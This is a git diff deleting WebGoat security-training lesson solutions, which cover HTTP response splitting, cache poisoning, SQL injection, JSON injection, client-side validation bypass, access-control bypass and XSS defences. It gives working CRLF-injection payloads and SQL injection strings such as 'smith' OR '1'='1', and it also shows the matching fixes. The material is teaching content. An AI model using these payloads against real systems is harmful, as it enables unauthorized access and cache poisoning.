- - - diff --git a/src/main/webapp/lesson_solutions_1/HttpOnly.html b/src/main/webapp/lesson_solutions_1/HttpOnly.html deleted file mode 100644 index 173622596..000000000 --- a/src/main/webapp/lesson_solutions_1/HttpOnly.html +++ /dev/null @@ -1,863 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson Plan Title: HttpOnly Test

- -

 

- -

Concept / Topic To -Teach:

- - - -

To -help mitigate the cross site scripting threat, Microsoft has introduced a new cookie -attribute entitled 'HttpOnly.' If this flag is set, then the browser should not -allow client-side script to access the cookie. Since the attribute is -relatively new, several browsers neglect to handle the new attribute properly.

- -

 

- -

General Goal(s):

- -

The -purpose of this lesson is to test whether your browser supports the HTTPOnly -cookie flag. Note the value of the unique2u cookie. If your browser supports -HTTPOnly, and you enable it for a cookie, client side code should NOT be able -to read OR write to that cookie, but the browser can still send its value to -the server. Some browsers only prevent client side read access, but don't -prevent write access.

- -

 

- -

- -

Figure 1 Lesson HTTPOnly Test

- -

 

- -

Solution:

- -

 

- -

HTTPOnly -is not configured. When you click on "Read Cookie" you will get the following -pop-up in JavaScript, displaying the cookies

- -

 

- -

- -

Figure 2 All cookies

- -

 

- -

Select -"Yes" to turn HTTPOnly on. Intercept the HTTP Request and HTTP Response in -WebScarab.

- -

 

- -

- -

Figure 3 HTTP Request

- -

 

- -

- -

Figure 4 HTTP Response with HTTPOnly -cookie

- -

 

- -

 

- -

Click -on "Read cookie". You will see the JSESSIONID which is not using HTTPOnly.

- -

- -

Figure 5 Only JSESSIONID

- -

 

- -

- -

Figure 6 HTTPOnly Success

- -

 

- -

Click -on “Write cookie” which again only shows the JSESSIONID cookie.

- -

 

- -

- -

Figure 7 JSESSIONID cookie

- -

 

- -

- -

Figure 8 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/HttpSplitting.html b/src/main/webapp/lesson_solutions_1/HttpSplitting.html deleted file mode 100644 index 68e0b687d..000000000 --- a/src/main/webapp/lesson_solutions_1/HttpSplitting.html +++ /dev/null @@ -1,1019 +0,0 @@ - - - - - - - -Solution: Http Splitting and Cache Poisoning - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform Http Splitting

- -

 

- -

Concept / -Topic To Teach:

- -

This lesson -teaches how to perform HTTP Splitting attacks.

- -

 

- -

How the -attacks works:

- -

The attacker -passes malicious code to the web server together with normal input. A victim -application will not be checking for CR (carriage return, also given by %0d or -\r) and LF (line feed, also given by %0a or \n)characters. These characters not -only give attackers control of the remaining headers and body of the response -the application intends to send, but also allows them to create additional -responses entirely under their control.
-The effect of an HTTP Splitting attack is maximized when accompanied with a -Cache Poisoning. The goal of Cache Poisoning attack is to poison the cache of -the victim by fooling the cache to believe that the page hijacked using the -HTTP splitting is a good one and it is indeed the server's copy.
-The attack happens using the HTTP Splitting attack plus adding the Last-Modified: -header and setting it to a future date. This will force the browser to send If-Modified-Since -request header, which gives the attacker the chance to intercept the server's -reply and replace it with a '304 Not Modified' reply. A sample of a 304 response -is:
-HTTP/1.1 304 Not Modified
-Date: Fri, 30 Dec 2005 17:32:47 GMT

- -

 

- -

General -Goal(s):

- - - -

-This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while -stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.
-Enter a language for the system to search by. You will notice that the -application is redirecting your request to another resource on the server. You -should be able to use the CR (%0d) and LF (%0a) to exploit the attack. Your -exercise should be to force the server to send a 200 OK. If the screen changed -as an effect to your attack, just go back to the homepage and after stage 2 is -exploited successfully you will find the green check in the left menu.

- -

 

- -

- -

 

- -

Solution:

- -

-Please note that this solution is written for Windows. If you use Linux you have to alter it. -Windows uses a CR and LF for new Line. Linux uses only LF. -So all the %0d%0a have to be replaced by %0a if you are using Linux.

-

- -

Because the -input is not validated you can inject any HTTP syntax, carriage returns and -line-feed you want.

- -

 

- -

Enter a -language to examine what's going on. You do have WebScarab intercepting HTTP -requests and responses?

- -

 

- -

- -

Figure 1 Language en

- -

- -

Figure 2 HTTP Request

- -

 

- -

- -

Figure 3 First HTTP Response

- -

 

- -

- -

Figure 4 Second HTTP Request

- -

 

- -

Now inject -for the language en%0d%0a%0d%0a%0d%0a

- -

 

- -

- -

Figure 5 First HTTP Request

- -

 

- -

- -

Figure 6 First HTTP Response

- -

 

- -

The -Content-Length: 0 will tell the server that the first request is over.

- -

A 200 OK -message looks like this: HTTP/1.1 200 OK

- -

 

- -

Lets see what -you can do with: foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked -J</html>

- -

 

- -

- -

Figure 7 HTTP Splitting attack

- -

 

- -

- -

Figure 8 HTTP Response

- -

 

- -

- -

Figure 9 Second HTTP Request

- -

 

- -

- -

Figure 10 Second HTTP Response

- -

 

- -

- -

Figure 11 Hacked!

- -

 

- -

Hit the "Back" -button of your browser.

- -

 

- -

- -

Figure 12 Stage 1 completed

- -

 

- -

Now you know -how to do HTTP Splitting. You can abuse this technique to do a cache poisoning -attack.

- -

 

- -

Cache -poisoning requires manipulating the Last-Modified header. This must be changed -to a date in the future.

- -

Inject: foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202060%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked -J</html>

- -

 

- -

- -

Figure 13 Inject cache poisoning

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/InsecureLogin.html b/src/main/webapp/lesson_solutions_1/InsecureLogin.html deleted file mode 100644 index c9abe281d..000000000 --- a/src/main/webapp/lesson_solutions_1/InsecureLogin.html +++ /dev/null @@ -1,61 +0,0 @@ - - - - -Insecure Login - - - -

Lesson Plan Title:Insecure Login

- -

Concept / Topic To Teach:
-Sensitive data should never sent in plaintext! -Often applications switch to a secure connection after the authorization. -An attacker could just sniff the login and use the gathered information -to break into an account. A good webapplication always takes care of -encrypting sensitive data. -

- -

General Goal(s):
-See how easy it is to sniff a password in plaintext.
-Understand the advantages of encrypting the login data! -

- -Solution:
-

This lesson has two stages. In the first stage you try to sniff a password -which is sent in plaintext. In the second stage you try the same -but on a secure connection.

-

You need a client server setup for this lesson. Please refer -to the Tomcat Setup in the Introduction section.

- -Stage 1 -

Start a sniffer. If you do not have one we recommend wireshark, which -is free: Wireshark. Make sure -you are capturing on the right interface. Click on -the submit button ans stop the capturing. Now analyze the captured data.

-
-
- Figure 1: Sniffed Traffic -
-

As you can see we are interested in the HTTP Post request as -the password is transmitted there. The field for the password has -the name clear_pass and has as value sniffy. Of course -this is also the correct answer and you are done with stage 1.

- -Stage 2 -

-Now you have to switch to a secure connection. You archive this -by changing the URL from http://... to https://... Sniff again the traffic -as you have done in stage 1. As you will see there is not sent the password -in plaintext. The server communicates with the application over a secure layer -the so called Transport Layer Security (TLS) also called Secure Socket Layer (SSL). -TLS is a hybrid encrypting protocol. A master secret is built to communicate. -This master secret is built by using SHA-1 and MD5. All traffic between -the Server and the Cleint is encrypted.

- - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/JSONInjection.html b/src/main/webapp/lesson_solutions_1/JSONInjection.html deleted file mode 100644 index a78a84d25..000000000 --- a/src/main/webapp/lesson_solutions_1/JSONInjection.html +++ /dev/null @@ -1,806 +0,0 @@ - - - - - - - -Solution: JSON Injection - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform JSON Injection

- -

 

- -

Concept / -Topic To Teach:

- -

This lesson -teaches how to perform JSON Injection Attacks.

- -

 

- -

How the -attacks works:

- -

JavaScript Object -Notation (JSON) is a simple and effective lightweight data exchange format. -JSON can be in a lot of forms such as arrays, lists, hashtables and other data -structures. JSON is widely used in AJAX and Web2.0 application and is favored -by programmers over XML because of its ease of use and speed. However, JSON, -like XML is prone to Injection attacks. A malicious attacker can inject the -reply from the server and inject some arbitrary values in there.

- -

 

- -

General -Goal(s):

- -

You -are traveling from Boston, MA- Airport code BOS to Seattle, WA - Airport code -SEA.
-Once you enter the three digit code of the airport, an AJAX request will be -executed asking for the ticket price.
-You will notice that there are two flights available, an expensive one with no -stops and another cheaper one with 2 stops.
-Your goal is to try to get the one with no stops but for a cheaper price.

- -

 

- -

- -

Figure 1 AJAX Security - JSON Injection

- -

 

- -

Solution:

- -

Like with the previous lessons you need to manipulate the HTTP Response -using WebScarab.

- -

 

- -

Examine the normal flow by entering the airport code BOS and SEA and -intercept the HTTP Request and the HTTP Response in WebScarab.

- -

 

- -

- -

Figure 2 Intercept HTTP Request

- -

 

- -

- -

Figure 3 Intercept HTTP Response

- -

 

- -

Change the -price for the expensive flight of $600 to $100 and click "Accept changes".

- -

 

- -

 

- -

- -

Figure 4 Updated price

- -

 

- -

- -

Figure 5 Injected result

- -

 

- -

Select the flight -with no stops and the updated price and click "Submit".

- -

 

- -

- -

Figure 6 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/JavaScriptValidation.html b/src/main/webapp/lesson_solutions_1/JavaScriptValidation.html deleted file mode 100644 index b46f2e402..000000000 --- a/src/main/webapp/lesson_solutions_1/JavaScriptValidation.html +++ /dev/null @@ -1,841 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Bypass Client Side JavaScript Validation

- -

 

- -

Concept / -Topic To Teach:

- -

Client-side validation -should not be considered a secure means of validating parameters. This -validation only helps reducing the amount of server processing time for normal -users who do not know the format of required input. Attackers can bypass these -mechanisms easily in various ways. Any client-side validation should be -duplicated on the server side. This will greatly reduce the likelihood of -insecure parameter values being used in the application.

- -

 

- -

General -Goal(s):

- -

For this -exercise, the web site requires that you follow certain rules when you fill out -a form. The user should be able to break those rules, and send the website -input that it wasn't expecting.

- -

- -

 

- -

Figure 1 Lesson 6

- -

 

- -

There are two -ways to complete this lesson. The first one is to submit a valid request like -the one from the screenshot above and intercept this using WebScarab. The -second way is to intercept the HTTP Response when loading the page and remove -the Javascript that validates the values.

- -

 

- -

Solution 1

- -

 

- -

- -

Figure 2 Intercept request

- -

 

- -

Add different -symbols to the fields and click "Accept changes".

- -

 

- -

- -

Figure 3 Change parameters

- -

 

- -

- -

Figure 4 Lesson 6 Completed

- -

 

- -

Solution 2

- -

 

- -

Reload the -page by clicking on the menu item "How to bypass Client-Side Javascript -Validation" and intercept the response in WebScarab.

- -

 

- -

- -

Figure 5 Enable "Intercept responses"

- -

 

- -

- -

Figure 6 Intercepted response

- -

 

- -

If you remove -the onclick="validate();" the "Submit" button will not work anymore.

- -

Locate the -validate() Javascript function in the HTML page.

- -

 

- -

- -

Figure 7 The function validate()

- -

 

- -

Removing the regular -expressions will remove the Javascript validation and submit the form.

- -

 

- -

- -

Figure 8 Changed validate() function

- -

 

- -

Click "Accept -changes". This returns a HTML page like before but without any regular -expression checks.

- -

 

- -

- -

Figure 9 It looks the same

- -

 

- -

Change the -fields in the HTML page to contain symbols like @#@@# and click "Submit".

- -

 

- -

- -

Figure 10 No more regular expression checks

- -

 

- -

- -

Figure 11 Lesson 6 Completed

- -

 

- -
-
- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Add Business Layer Access Control.html b/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Add Business Layer Access Control.html deleted file mode 100644 index 18aa18be9..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Add Business Layer Access Control.html +++ /dev/null @@ -1,50 +0,0 @@ - - - - -Solution Lab Role Based Access Control Stage2 - - - -

Lesson Plan Title: Role Based Access Control: Stage 2

- -

Concept / Topic To Teach:
-In role-based access control scheme, a role represents -a set of access permissions and privileges. A user can be -assigned one or more roles. A role-based access control -normally consists of two parts: role permission management -and role assignment. A broken role-based access -control scheme might allow a user to perform accesses -that are not allowed by his/her assigned roles, or -somehow obtain unauthorized roles. -

- -

General Goal(s):
-Your goal is to explore the access control -rules that govern this site. Each role has permission to -certain resources (A-F). Each user is assigned one or more roles. -Only the user with the [Admin] role should have access -to the 'F' resources. In a successful attack, a user doesn't -have the [Admin] role can access resource F. -

- -

-Solution:
-You have to be sure that the user is AUTHORIZED to do an action! So you have to check for his authorization. -You have to write some code in the class -org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessControl.java. -Alter the handleRequest method as there is happening the dispatching. -There is already a method called isAuthorized which you can use: -

-

-//***************CODE HERE*************************
-if(!isAuthorized(s, getUserId(s), requestedActionName))
-{
-  throw new UnauthorizedException();
-}									
-//*************************************************
-
-Try the attack again and you will see that the authorization fails and the -lesson is completed. - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Add Data Layer Access Control.html b/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Add Data Layer Access Control.html deleted file mode 100644 index f6ab88361..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Add Data Layer Access Control.html +++ /dev/null @@ -1,56 +0,0 @@ - - - - -Solution Lab Role Based Access Control Stage4 - - - -

Lesson Plan Title: Role Based Access Control: Stage 4

- -

Concept / Topic To Teach:
-In role-based access control scheme, a role represents -a set of access permissions and privileges. A user can be -assigned one or more roles. A role-based access control -normally consists of two parts: role permission management -and role assignment. A broken role-based access -control scheme might allow a user to perform accesses -that are not allowed by his/her assigned roles, or -somehow obtain unauthorized roles. -

- -

General Goal(s):
-Your goal is to explore the access control -rules that govern this site. Each role has permission to -certain resources (A-F). Each user is assigned one or more roles. -Only the user with the [Admin] role should have access -to the 'F' resources. In a successful attack, a user doesn't -have the [Admin] role can access resource F. -

- -

-Solution:
-You have to be sure that the user is AUTHORIZED to do an action and that -he is authorized to do this action on a certain employee! So you have to check for his authorization. -You have to write some code in the class -org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessControl.java. -Alter the handleRequest method as there is happening the dispatching. -Action has already a method called isAuthorizedForEmployee which you can use: -

-

-//***************CODE HERE*************************
-if(!isAuthorized(s, getUserId(s), requestedActionName))
-{
-  throw new UnauthorizedException();
-}
-if(!action.isAuthorizedForEmployee(s, getUserId(s), s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID, 0)))
-{
-  throw new UnauthorizedException();
-}						
-//*************************************************
-
-Try the attack again and you will see that the authorization fails and the -lesson is completed. - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Bypass Business Layer Access Control.html b/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Bypass Business Layer Access Control.html deleted file mode 100644 index 004e26185..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Bypass Business Layer Access Control.html +++ /dev/null @@ -1,48 +0,0 @@ - - - - -Solution Lab Role Based Access Control Stage1 - - - -

Lesson Plan Title: Role Based Access Control: Stage 1

- -

Concept / Topic To Teach:
-In role-based access control scheme, a role represents -a set of access permissions and privileges. A user can be -assigned one or more roles. A role-based access control -normally consists of two parts: role permission management -and role assignment. A broken role-based access -control scheme might allow a user to perform accesses -that are not allowed by his/her assigned roles, or -somehow obtain unauthorized roles. -

- -

General Goal(s):
-Your goal is to explore the access control -rules that govern this site. Each role has permission to -certain resources (A-F). Each user is assigned one or more roles. -Only the user with the [Admin] role should have access -to the 'F' resources. In a successful attack, a user doesn't -have the [Admin] role can access resource F. -

- -

-Solution:
-To solve this exercise you have to know the name of the action, which -deletes employees. Of course you could just guess -it because it has a really logical name. -But we will look it up. So your first step is to log in as John with john as -password. Use WebScarab to intercept the delete request. - -deleteAction - -As you can see the delete action is called DeleteProfile. -Now log in as Tom. Click in the list on his name and make sure WebScarab -will intercept the next request. Click on a button, for example the -'ViewProfile' button. Change in WebScarab the action to DeleteProfile -and you are done! - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Bypass Data Layer Access Control.html b/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Bypass Data Layer Access Control.html deleted file mode 100644 index e94e42c45..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab Access Control/Lab Bypass Data Layer Access Control.html +++ /dev/null @@ -1,46 +0,0 @@ - - - - -Solution Lab Role Based Access Control Stage3 - - - -

Lesson Plan Title: Role Based Access Control: Stage 3

- -

Concept / Topic To Teach:
-In role-based access control scheme, a role represents -a set of access permissions and privileges. A user can be -assigned one or more roles. A role-based access control -normally consists of two parts: role permission management -and role assignment. A broken role-based access -control scheme might allow a user to perform accesses -that are not allowed by his/her assigned roles, or -somehow obtain unauthorized roles. -

- -

General Goal(s):
-Your goal is to explore the access control -rules that govern this site. Each role has permission to -certain resources (A-F). Each user is assigned one or more roles. -Only the user with the [Admin] role should have access -to the 'F' resources. In a successful attack, a user doesn't -have the [Admin] role can access resource F. -

- -

-Solution:
-In stage 1 we tried to use an action we are not authorised to use. -In this stage we want to view a profile of an other person. We have the permission -for the action ViewProfile but we should not have the permission to see a profile -of another employee! -

-

-Log in as Tom with tom as password. Click on Tom's name in the list and make sure -webscarab will intercept the next request. Change the employee_id for example to 101.

- -deleteAction - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab Access Control/images/access_control_stage1.png b/src/main/webapp/lesson_solutions_1/Lab Access Control/images/access_control_stage1.png deleted file mode 100644 index a56105599..000000000 Binary files a/src/main/webapp/lesson_solutions_1/Lab Access Control/images/access_control_stage1.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/Lab Access Control/images/access_control_stage3.png b/src/main/webapp/lesson_solutions_1/Lab Access Control/images/access_control_stage3.png deleted file mode 100644 index cfb490dec..000000000 Binary files a/src/main/webapp/lesson_solutions_1/Lab Access Control/images/access_control_stage3.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Numeric SQL Injection.html b/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Numeric SQL Injection.html deleted file mode 100644 index 3920f2aea..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Numeric SQL Injection.html +++ /dev/null @@ -1,41 +0,0 @@ - - - - -Solution Lab SQL Injection Stage3 - - - -

Lesson Plan Title: How to Perform a SQLInjection

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven -site. The methods behind an attack are easy to learn and the damage -caused can range from considerable to complete system compromise. -Despite these risks, an incredible number of systems on the internet are -susceptible to this form of attack.

- -

Not only is it a threat easily instigated, it is also a threat -that, with a little common-sense and forethought, can easily be -prevented.

- -

It is always good practice to sanitize all input data, especially -data that will used in OS command, scripts, and database queiries, even -if the threat of SQL injection has been prevented in some other manner. -

- -

General Goal(s):
-For this exercise, you will perform SQLInjection attacks. You will also -implement code changes in the web application to defeat these attacks.

- -

Solution:
-Choose Larry to log in with password larry. Select yourself from the list -and make sure that WebScarab will intercept the next request. Replace the id 101 with following: -
-101 OR 1=1 ORDER BY salary desc
-

With '101 OR 1=1' we have a SQL Statement which is always true. It will -get all the employees from the db but only return one of them. That is why we have to ensure we get -the "Big Fish" which is the employee earning most. With 'ORDER BY SALARY DESC' we guarantee exactly this. - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Parameterized Query #1.html b/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Parameterized Query #1.html deleted file mode 100644 index e09478565..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Parameterized Query #1.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - -Solution Lab SQL Injection Stage2 - - - -

Lesson Plan Title: How to Perform a SQLInjection

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven -site. The methods behind an attack are easy to learn and the damage -caused can range from considerable to complete system compromise. -Despite these risks, an incredible number of systems on the internet are -susceptible to this form of attack.

- -

Not only is it a threat easily instigated, it is also a threat -that, with a little common-sense and forethought, can easily be -prevented.

- -

It is always good practice to sanitize all input data, especially -data that will used in OS command, scripts, and database queiries, even -if the threat of SQL injection has been prevented in some other manner. -

- -

General Goal(s):
-For this exercise, you will perform SQLInjection attacks. You will also -implement code changes in the web application to defeat these attacks.

- -Solution:
-To prevent a SQLInjection you can use "Parametreized Queries". This kind of -query makes it possible to use every input of an user as a parameter. -In this lesson you have to change org.owasp.webgoat.lessons.SQLInjection.Login.java -The query execution in the method login looks like this:

-String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
-// System.out.println("Query:" + query);
-try
-{
-  Statement answer_statement = WebSession.getConnection(s)
-      .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
-  ResultSet answer_results = answer_statement.executeQuery(query);
-  etc...
-
-

-To paramerize the Query you have to replace the userinput with questionmarks:
-String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
-

-

-Now follows the try block with the getConnection method:
- -try
-{
-  Connection connection = WebSession.getConnections(s); -

-

-The next step is to do a so called "PrepareStatement":
-PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); -

-

-Now that the query is prepared we have to add the parameters to the query:
- -statement.setString(1, userId);
-statement.setString(2, password);
-
-

-

-We are ready to execute the query!
- -ResultSet answer_results = statement.executeQuery(); -

-

Putting everything together results in:
-


-String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
-try
-{
-  Connection connection = WebSession.getConnections(s);
-  PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
-  statement.setString(1, userId);
-  statement.setString(2, password);
-  ResultSet answer_results = statement.executeQuery();
-  etc...
-
- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Parameterized Query #2.html b/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Parameterized Query #2.html deleted file mode 100644 index 8016c18a9..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab Parameterized Query #2.html +++ /dev/null @@ -1,51 +0,0 @@ - - - - -Solution Lab SQL Injection Stage4 - - - -

Lesson Plan Title: How to Perform a SQLInjection

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven -site. The methods behind an attack are easy to learn and the damage -caused can range from considerable to complete system compromise. -Despite these risks, an incredible number of systems on the internet are -susceptible to this form of attack.

- -

Not only is it a threat easily instigated, it is also a threat -that, with a little common-sense and forethought, can easily be -prevented.

- -

It is always good practice to sanitize all input data, especially -data that will used in OS command, scripts, and database queiries, even -if the threat of SQL injection has been prevented in some other manner. -

- -

General Goal(s):
-For this exercise, you will perform SQLInjection attacks. You will also -implement code changes in the web application to defeat these attacks.

- -Solution:
-The solution is simular to Stage2. That is why here is only a short solution.
-You have to alter the class org.owasp.webgoat.lessons.SQLInjection.ViewProfile.java
-Alter the method getEmployeeProfile to something like this: -

-String query = "SELECT employee.* "
-    + "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
-    + "ownership.employer_id = ? and ownership.employee_id = ?";
-try
-{
-  Connection connection = WebSession.getConnections(s);
-  PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
-  statement.setString(1, userId);
-  statement.setString(2, subjectUserId);
-  ResultSet answer_results = statement.executeQuery();
-  etc...
-
- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab String SQL Injection.html b/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab String SQL Injection.html deleted file mode 100644 index ce1d354a7..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab SQL Injection/Lab String SQL Injection.html +++ /dev/null @@ -1,39 +0,0 @@ - - - - -Solution Lab SQL Injection Stage1 - - - -

Lesson Plan Title: How to Perform a SQLInjection

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven -site. The methods behind an attack are easy to learn and the damage -caused can range from considerable to complete system compromise. -Despite these risks, an incredible number of systems on the internet are -susceptible to this form of attack.

- -

Not only is it a threat easily instigated, it is also a threat -that, with a little common-sense and forethought, can easily be -prevented.

- -

It is always good practice to sanitize all input data, especially -data that will used in OS command, scripts, and database queiries, even -if the threat of SQL injection has been prevented in some other manner. -

- -

General Goal(s):
-For this exercise, you will perform SQLInjection attacks. You will also -implement code changes in the web application to defeat these attacks.

- -

Solution:
-Select Neville as user to log in. Make sure WebScarab will intercept the next request. -Hit the Login Button and Change the password parameter in WebScarab to smith' OR '1' = '1. -Et voila you are logged in as Neville without knowing the password as the query -will lookup if the password is smith and if not it controls if 1=1 what -return true.

- - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Reflected XSS.html b/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Reflected XSS.html deleted file mode 100644 index 28a31d1eb..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Reflected XSS.html +++ /dev/null @@ -1,32 +0,0 @@ - - - - -Solution Lab Block Stored XSS - - - -

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved. -XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -

- -

General Goal(s):
-For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. -

- -Solution:
-The Solution is rather simular to stage 2. You have to edit org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile.java. -Alter the method getRequestParameter. The body of the mehtod should look something like this:

-String regex = "[\\s\\w-,]*";
-String parameter = s.getParser().getRawParameter(name);
-Pattern pattern = Pattern.compile(regex);
-validate(parameter, pattern);
-		
-return parameter;
-
- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Stored XSS using Input Validation.html b/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Stored XSS using Input Validation.html deleted file mode 100644 index fd834d3c0..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Stored XSS using Input Validation.html +++ /dev/null @@ -1,46 +0,0 @@ - - - - -Solution Lab Block Stored XSS - - - -

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved. -XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -

- -

General Goal(s):
-For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. -

- -

Solution:
-You have to alter the method parseEmployeeProfile in the class UpdateProfile.java which is -placed in the package org.owasp.webgoat.lessons.CrossSiteScripting
-The place to code is marked! Following code will work:
-

-

- -/**Your code**/
-String regex = "[\\s\\w-,]*";
-String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+
startDate+ccn+disciplinaryActionDate+
disciplinaryActionNotes+personalDescription;
-Pattern pattern = Pattern.compile(regex);
-validate(stringToValidate, pattern);
-/**End of your code**/ -
-

-

-This validation allows following:
-\s = whitspace: \t\n\x0B\f\r
-\w = word: a-zA-Z_0-9
-and the characters - and , -

-

-Use of any other character will throw a Validation Exception. -

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Stored XSS using Output Encoding.html b/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Stored XSS using Output Encoding.html deleted file mode 100644 index 52a4b3283..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Block Stored XSS using Output Encoding.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - -Solution Lab Block Stored XSS - - - -

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved. -XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -

- -

General Goal(s):
-For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. -

- -

Solution:
-You have to use a static method called encode(String s) which is part of the class org.owasp.webgoat.util.HtmlEncoder. -

This method changes all special characters in the string. Now you have to use this method in the getEmployeeProfile method in the org.owasp.webgoat.lessons.CrossSiteScripting.ViewProfile class. -Replace all answer_results.getString(someString) with HtmlEncoder.encode(answer_results.getString(someString)) and you are done.

